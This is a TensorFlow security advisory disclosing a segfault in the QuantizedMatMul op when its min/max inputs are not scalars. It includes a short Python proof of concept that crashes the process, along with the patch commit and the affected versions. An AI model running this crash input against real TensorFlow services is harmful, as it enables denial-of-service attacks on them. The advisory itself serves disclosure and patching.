GHSA-689c-r7h2-fv9v

### Impact If `QuantizedMatMul` is given nonscalar input for: - `min_a` - `max_a` - `min_b` - `max_b` It gives a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf

Toutput = tf.qint32 transpose_a = False transpose_b = False Tactivation = tf.quint8 a = tf.constant(7, shape=[3,4], dtype=tf.quint8) b = tf.constant(1, shape=[2,3], dtype=tf.quint8) min_a = tf.constant([], shape=[0], dtype=tf.float32) max_a = tf.constant(0, shape=[1], dtype=tf.float32) min_b = tf.constant(0, shape=[1], dtype=tf.float32) max_b = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation) ```

### Patches We have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.